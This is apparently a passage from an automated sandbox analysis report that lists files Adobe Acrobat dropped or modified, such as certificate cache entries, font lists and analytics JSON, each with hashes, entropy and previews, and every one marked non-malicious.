Size (bytes):	8720
Entropy (8bit):	2.2162750651737912
Encrypted:	false
SSDEEP:	24:7+thj6wKKqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzo:7MZWKq/mFTIF3XmHjBoGGR+jMz+Lh5
MD5:	70ECEAB243F6ECC8FFBA3AF12E520422
SHA1:	72A140524858FC0B8CA8D6D86BD3ED38BD955297
SHA-256:	63797F5770CF4C6D90C3BD882350A11FDE852FD64E99AC997DEFA658D81455C8
SHA-512:	79ACD40F216C783E946E418214ED370AE8C5FE2008A4E6967A0D7EFA252E2A259A76066C09F17F11C2AD0ED2C5B88787D09CA4E3035D5B360D6DE9E9AB5DF07A
Malicious:	false
Preview:	.... .c.....k..y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklO52kkNl/tfllXlE/HT8k24jNNX8RolJuRdxLlGB9lQRYwpDdt:kKX52kkNl/eT8GNMa8RdWBwRd
MD5:	D3C1C5A32BDA5C73995990A77AAEA484
SHA1:	04D9C5B89C0D90D8E297FF82202E42EDFD72FBDB
SHA-256:	9CB2FE8DBBE5E75403461201594600AB4F7E1A3AEBEA48F0C7478F9D2AF0C40A
SHA-512:	684D0E7D896104C1EB50F934CC924774533830E2751D8558FF25E1BD6904A71CEA17C673CF172191F0274F7E7FB737B1E62A301D02B635561CD7C0AD0B24AE9F
Malicious:	false
Preview:	p...... .........\...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKYEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:rtiDImsLNkPlE99SNxAhUe/3
MD5:	9625FD980F580D36379506A63F900091
SHA1:	6A6D6A1652D30BAE02FF0A6DD54DABF6AFB83242
SHA-256:	FBE60CCB5DDD24659446A968865878ECF6496EEE3B43F39A71A1B1F58150F1B6
SHA-512:	84FCE75CEEB358DD822B0DD61C5A044F80E94EDF8652B90732ECEDF22A667AB53736B59678AEE9184548EBB99E298D462B03C8321B73EC1724B84AEBB7D3AF99
Malicious:	false
Preview:	p...... ..........\..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365238585957582
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJM3g98kUwPeUkwRe9:YvXKXJGsdTeOgLsGMbLUkee9
MD5:	C3CD315C1AD7E5E798A8B78DBCB88423
SHA1:	3A759DA9A2AD72E33252D07432628B6B78AAA34C
SHA-256:	596A407C67BA82F4062D5D88C759F97CAD3EBC558188EEDEA92FB94CEBDA343C
SHA-512:	072725F3AC1CB68B3F152B2632536BAEB3119EE4374FE563755B7874526BFD20669B47E67AEE5DBF188EAAA8B3AFBE453728C14C6FB88E97C820168F389D1FFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300048024658199
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfBoTfXpnrPeUkwRe9:YvXKXJGsdTeOgLsGWTfXcUkee9
MD5:	4BD8E9F4D41006470B9E4A3690D60D68
SHA1:	E006562D6752BB75365FF36D70A05306F1067A20
SHA-256:	5960FF6D19C089621A5BC568DE4B76846361D930B4EDE75BFBAC9A63B63B0273
SHA-512:	8CBA21DA8246B06C1A155AD1F291CD18ACDCF3149DDDDECFE2DD2006E58479F9076D70F24CF1732CC7AB1CFB0B18B06DE8EC1668A1F59036C8DA8666E13DF7D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278186939403467
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfBD2G6UpnrPeUkwRe9:YvXKXJGsdTeOgLsGR22cUkee9
MD5:	874968535C157443E3341A7F5D0D3B99
SHA1:	3742C7037890A5620174E708CD8BD9BD35435BA2
SHA-256:	5B1EE3FFECFDF45F886C04B7ABE726E598EB56A0352A1ECE730BD337EEB09199
SHA-512:	6F4DA54990AAE99133A516E26226737B42CCD18CCAC5334EC730F5B26924881C34F19F85D3D3C71C46F73DBD67BBB9A6E6E28A0589B2F0EC5F63466C8BA2C545
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352182685591007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfPmwrPeUkwRe9:YvXKXJGsdTeOgLsGH56Ukee9
MD5:	6F988246DF0023578C454D3BFBEA9A05
SHA1:	6F73B45F16BBE8DE3785475798F8F0F527562029
SHA-256:	1A1EEC3C9B83CEF63C128953A348108E65B615C3B2D0A0366747AB3910400488
SHA-512:	BD9662068A75261BCC540FCDC86ECF67C8B896DC439DDECEFFFC1C920B70647BE53F67109E5DEAF46FBF06C808FACD45025A8693EA9D60668694FC51D2095C47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685049616054803
Encrypted:	false
SSDEEP:	24:Yv6XYmeOgLJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSG:Yv+eXthgy6SAFv5Ah8cv/G
MD5:	5870815DE930FAB4A8BA3E3FFB48E629
SHA1:	777DBCD473F9A69223D7310008420371B44583D4
SHA-256:	888569DD835A8A2304A437BFFC26C91ACF50725D6426DC7B360543FE85A0EA78
SHA-512:	22DE1E18E2A870DA54B3C0BE8DD854AB3B76B25F6A685E6C031D495A384C069230A6DEFFE883BBDB0EB7AA3CD4C08A44A4099ED2AAF54F2A640686DAA527F1C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290870850519865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJf8dPeUkwRe9:YvXKXJGsdTeOgLsGU8Ukee9
MD5:	7E5CA1D91645CFE94F62198B122335CF
SHA1:	8E6A3E465B5108A6DD0D3F85CD3991954E3DB691
SHA-256:	5CC8FB15021D98DA5C3823174B9831C41E2FE111099B7232AD90F5EC38B682FF
SHA-512:	A05468BD75347AB271B277C9AAC37AB2D7668E926F69BD93F5B205CFD4363C12F612340BC545F7BB2F0A61FF66FF8FE91E21BDF560644BC3159BD7F824336281
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294556281394396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfQ1rPeUkwRe9:YvXKXJGsdTeOgLsGY16Ukee9
MD5:	FA3D6F4099570FC8BD431F57933F9D90
SHA1:	138FBCFCA4C7D0B8C5BA6731A0A1CD55DFCA9133
SHA-256:	9A8A9E52213F7B22BDA039EF070F4AA7F4568E66E887CC35471EDC04D34AC608
SHA-512:	7931FBE339A1DA2D96C57C3A1BD566A2EAE07BA6AEC722CF92FA7CFA688BA7EF30AC2B8E51D114151A2DC1615F54C6F81C4B4EC612591A091BA3F70A337E737E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313053015370038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfFldPeUkwRe9:YvXKXJGsdTeOgLsGz8Ukee9
MD5:	EE40920AFBD703FC6AFCA1A1126A51D2
SHA1:	80E685E962BF814F50BB2481CB624C017DDB0B11
SHA-256:	D6BF01A73D5730FE346D55BBA3B03893BCBDCB65E3B638E5B4C1E62530241C47
SHA-512:	AF1D4AD5CD3E1A6F5458A546A7AC0A251FD9283CCDAF6B1AA866F26B3E7BFF4E8B3677966025A4FEC53EC4A24010ECBD3419EE0AA4DA685D8DD8F5ACC518A933
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
